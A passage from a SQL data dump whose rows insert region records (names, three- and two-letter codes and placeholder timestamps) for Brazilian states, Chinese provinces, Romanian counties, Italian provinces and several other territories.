00:00:00', 0), (120, 1, 30, 0, 'Mato Grosso do Sul', 'MGS', 'MS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (121, 1, 30, 0, 'Minas Gerais', 'MIG', 'MG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (122, 1, 30, 0, 'Paraná', 'PAR', 'PR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (123, 1, 30, 0, 'Paraíba', 'PRB', 'PB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (124, 1, 30, 0, 'Pará', 'PAB', 'PA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (125, 1, 30, 0, 'Pernambuco', 'PER', 'PE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (126, 1, 30, 0, 'Piauí', 'PIA', 'PI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (127, 1, 30, 0, 'Rio Grande do Norte', 'RGN', 'RN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (128, 1, 30, 0, 'Rio Grande do Sul', 'RGS', 'RS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (129, 1, 30, 0, 'Rio de Janeiro', 'RDJ', 'RJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (130, 1, 30, 0, 'Rondônia', 'RON', 'RO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (131, 1, 30, 0, 'Roraima', 'ROR', 'RR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (132, 1, 30, 0, 'Santa Catarina', 'SAC', 'SC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (133, 1, 30, 0, 'Sergipe', 'SER', 'SE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (134, 1, 30, 0, 'São Paulo', 'SAP', 'SP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (135, 1, 30, 0, 'Tocantins', 'TOC', 'TO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (136, 1, 44, 0, 'Anhui', 'ANH', '34', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (137, 1, 44, 0, 'Beijing', 'BEI', '11', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (138, 1, 44, 0, 'Chongqing', 'CHO', '50', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (139, 1, 44, 0, 'Fujian', 'FUJ', '35', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (140, 1, 44, 0, 'Gansu', 'GAN', '62', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (141, 1, 44, 0, 'Guangdong', 'GUA', '44', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (142, 1, 44, 0, 'Guangxi Zhuang', 'GUZ', '45', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (143, 1, 44, 0, 'Guizhou', 'GUI', '52', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (144, 1, 44, 0, 'Hainan', 'HAI', '46', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (145, 1, 44, 0, 'Hebei', 'HEB', '13', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (146, 1, 44, 0, 'Heilongjiang', 'HEI', '23', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (147, 1, 44, 0, 'Henan', 'HEN', '41', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (148, 1, 44, 0, 'Hubei', 'HUB', '42', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (149, 1, 44, 0, 'Hunan', 'HUN', '43', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (150, 1, 44, 0, 'Jiangsu', 'JIA', '32', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (151, 1, 44, 0, 'Jiangxi', 'JIX', '36', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (152, 1, 44, 0, 'Jilin', 'JIL', '22', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (153, 1, 44, 0, 'Liaoning', 'LIA', '21', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (154, 1, 44, 0, 'Nei Mongol', 'NML', '15', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (155, 1, 44, 0, 'Ningxia Hui', 'NIH', '64', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (156, 1, 44, 0, 'Qinghai', 'QIN', '63', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (157, 1, 44, 0, 'Shandong', 'SNG', '37', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (158, 1, 44, 0, 'Shanghai', 'SHH', '31', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (159, 1, 44, 0, 'Shaanxi', 'SHX', '61', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (160, 1, 44, 0, 'Sichuan', 'SIC', '51', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (161, 1, 44, 0, 'Tianjin', 'TIA', '12', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (162, 1, 44, 0, 'Xinjiang Uygur', 'XIU', '65', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (163, 1, 44, 0, 'Xizang', 'XIZ', '54', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (164, 1, 44, 0, 'Yunnan', 'YUN', '53', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (165, 1, 44, 0, 'Zhejiang', 'ZHE', '33', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (166, 1, 104, 0, 'Israel', 'ISL', 'IL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (167, 1, 104, 0, 'Gaza Strip', 'GZS', 'GZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (168, 1, 104, 0, 'West Bank', 'WBK', 'WB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (169, 1, 151, 0, 'St. Maarten', 'STM', 'SM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (170, 1, 151, 0, 'Bonaire', 'BNR', 'BN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (171, 1, 151, 0, 'Curacao', 'CUR', 'CR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (172, 1, 175, 0, 'Alba', 'ABA', 'AB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (173, 1, 175, 0, 'Arad', 'ARD', 'AR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (174, 1, 175, 0, 'Arges', 'ARG', 'AG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (175, 1, 175, 0, 'Bacau', 'BAC', 'BC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (176, 1, 175, 0, 'Bihor', 'BIH', 'BH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (177, 1, 175, 0, 'Bistrita-Nasaud', 'BIS', 'BN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (178, 1, 175, 0, 'Botosani', 'BOT', 'BT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (179, 1, 175, 0, 'Braila', 'BRL', 'BR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (180, 1, 175, 0, 'Brasov', 'BRA', 'BV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (181, 1, 175, 0, 'Bucuresti', 'BUC', 'B', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (182, 1, 175, 0, 'Buzau', 'BUZ', 'BZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (183, 1, 175, 0, 'Calarasi', 'CAL', 'CL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (184, 1, 175, 0, 'Caras Severin', 'CRS', 'CS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (185, 1, 175, 0, 'Cluj', 'CLJ', 'CJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (186, 1, 175, 0, 'Constanta', 'CST', 'CT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (187, 1, 175, 0, 'Covasna', 'COV', 'CV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (188, 1, 175, 0, 'Dambovita', 'DAM', 'DB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (189, 1, 175, 0, 'Dolj', 'DLJ', 'DJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (190, 1, 175, 0, 'Galati', 'GAL', 'GL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (191, 1, 175, 0, 'Giurgiu', 'GIU', 'GR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (192, 1, 175, 0, 'Gorj', 'GOR', 'GJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (193, 1, 175, 0, 'Hargita', 'HRG', 'HR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (194, 1, 175, 0, 'Hunedoara', 'HUN', 'HD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (195, 1, 175, 0, 'Ialomita', 'IAL', 'IL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (196, 1, 175, 0, 'Iasi', 'IAS', 'IS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (197, 1, 175, 0, 'Ilfov', 'ILF', 'IF', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (198, 1, 175, 0, 'Maramures', 'MAR', 'MM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (199, 1, 175, 0, 'Mehedinti', 'MEH', 'MH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (200, 1, 175, 0, 'Mures', 'MUR', 'MS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (201, 1, 175, 0, 'Neamt', 'NEM', 'NT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (202, 1, 175, 0, 'Olt', 'OLT', 'OT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (203, 1, 175, 0, 'Prahova', 'PRA', 'PH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (204, 1, 175, 0, 'Salaj', 'SAL', 'SJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (205, 1, 175, 0, 'Satu Mare', 'SAT', 'SM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (206, 1, 175, 0, 'Sibiu', 'SIB', 'SB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (207, 1, 175, 0, 'Suceava', 'SUC', 'SV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (208, 1, 175, 0, 'Teleorman', 'TEL', 'TR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (209, 1, 175, 0, 'Timis', 'TIM', 'TM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (210, 1, 175, 0, 'Tulcea', 'TUL', 'TL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (211, 1, 175, 0, 'Valcea', 'VAL', 'VL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (212, 1, 175, 0, 'Vaslui', 'VAS', 'VS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (213, 1, 175, 0, 'Vrancea', 'VRA', 'VN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (214, 1, 105, 0, 'Agrigento', 'AGR', 'AG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (215, 1, 105, 0, 'Alessandria', 'ALE', 'AL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (216, 1, 105, 0, 'Ancona', 'ANC', 'AN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (217, 1, 105, 0, 'Aosta', 'AOS', 'AO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (218, 1, 105, 0, 'Arezzo', 'ARE', 'AR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (219, 1, 105, 0, 'Ascoli Piceno', 'API', 'AP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (220, 1, 105, 0, 'Asti', 'AST', 'AT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (221, 1, 105, 0, 'Avellino', 'AVE', 'AV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (222, 1, 105, 0, 'Bari', 'BAR', 'BA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (223, 1, 105, 0, 'Belluno', 'BEL', 'BL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (224, 1, 105, 0, 'Benevento', 'BEN', 'BN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (225, 1, 105, 0, 'Bergamo', 'BEG', 'BG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (226, 1, 105, 0, 'Biella', 'BIE', 'BI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (227, 1, 105, 0, 'Bologna', 'BOL', 'BO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (228, 1, 105, 0, 'Bolzano', 'BOZ', 'BZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (229, 1, 105, 0, 'Brescia', 'BRE', 'BS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (230, 1, 105, 0, 'Brindisi', 'BRI', 'BR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (231, 1, 105, 0, 'Cagliari', 'CAG', 'CA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (232, 1, 105, 0, 'Caltanissetta', 'CAL', 'CL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (233, 1, 105, 0, 'Campobasso', 'CBO', 'CB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (234, 1, 105, 0, 'Carbonia-Iglesias', 'CAR', 'CI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (235, 1, 105, 0, 'Caserta', 'CAS', 'CE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (236, 1, 105, 0, 'Catania', 'CAT', 'CT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (237, 1, 105, 0, 'Catanzaro', 'CTZ', 'CZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (238, 1, 105, 0, 'Chieti', 'CHI', 'CH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (239, 1, 105, 0, 'Como', 'COM', 'CO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (240, 1, 105, 0, 'Cosenza', 'COS', 'CS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (241, 1, 105, 0, 'Cremona', 'CRE', 'CR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (242, 1, 105, 0, 'Crotone', 'CRO', 'KR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (243, 1, 105, 0, 'Cuneo', 'CUN', 'CN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (244, 1, 105, 0, 'Enna', 'ENN', 'EN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (245, 1, 105, 0, 'Ferrara', 'FER', 'FE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (246, 1, 105, 0, 'Firenze', 'FIR', 'FI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (247, 1, 105, 0, 'Foggia', 'FOG', 'FG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (248, 1, 105, 0, 'Forli-Cesena', 'FOC', 'FC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (249, 1, 105, 0, 'Frosinone', 'FRO', 'FR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (250, 1, 105, 0, 'Genova', 'GEN', 'GE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (251, 1, 105, 0, 'Gorizia', 'GOR', 'GO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (252, 1, 105, 0, 'Grosseto', 'GRO', 'GR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (253, 1, 105, 0, 'Imperia', 'IMP', 'IM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (254, 1, 105, 0, 'Isernia', 'ISE', 'IS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (255, 1, 105, 0, 'L\'Aquila', 'AQU', 'AQ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (256, 1, 105, 0, 'La Spezia', 'LAS', 'SP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (257, 1, 105, 0, 'Latina', 'LAT', 'LT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (258, 1, 105, 0, 'Lecce', 'LEC', 'LE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (259, 1, 105, 0, 'Lecco', 'LCC', 'LC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (260, 1, 105, 0, 'Livorno', 'LIV', 'LI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (261, 1, 105, 0, 'Lodi', 'LOD', 'LO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (262, 1, 105, 0, 'Lucca', 'LUC', 'LU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (263, 1, 105, 0, 'Macerata', 'MAC', 'MC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (264, 1, 105, 0, 'Mantova', 'MAN', 'MN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (265, 1, 105, 0, 'Massa-Carrara', 'MAS', 'MS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (266, 1, 105, 0, 'Matera', 'MAA', 'MT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (267, 1, 105, 0, 'Medio Campidano', 'MED', 'VS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (268, 1, 105, 0, 'Messina', 'MES', 'ME', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (269, 1, 105, 0, 'Milano', 'MIL', 'MI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (270, 1, 105, 0, 'Modena', 'MOD', 'MO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (271, 1, 105, 0, 'Napoli', 'NAP', 'NA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (272, 1, 105, 0, 'Novara', 'NOV', 'NO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (273, 1, 105, 0, 'Nuoro', 'NUR', 'NU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (274, 1, 105, 0, 'Ogliastra', 'OGL', 'OG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (275, 1, 105, 0, 'Olbia-Tempio', 'OLB', 'OT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (276, 1, 105, 0, 'Oristano', 'ORI', 'OR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (277, 1, 105, 0, 'Padova', 'PDA', 'PD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (278, 1, 105, 0, 'Palermo', 'PAL', 'PA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (279, 1, 105, 0, 'Parma', 'PAA', 'PR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (280, 1, 105, 0, 'Pavia', 'PAV', 'PV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (281, 1, 105, 0, 'Perugia', 'PER', 'PG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (282, 1, 105, 0, 'Pesaro e Urbino', 'PES', 'PU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (283, 1, 105, 0, 'Pescara', 'PSC', 'PE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (284, 1, 105, 0, 'Piacenza', 'PIA', 'PC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (285, 1, 105, 0, 'Pisa', 'PIS', 'PI', 0, 0, 1, '0000-00-00 00:00:00', 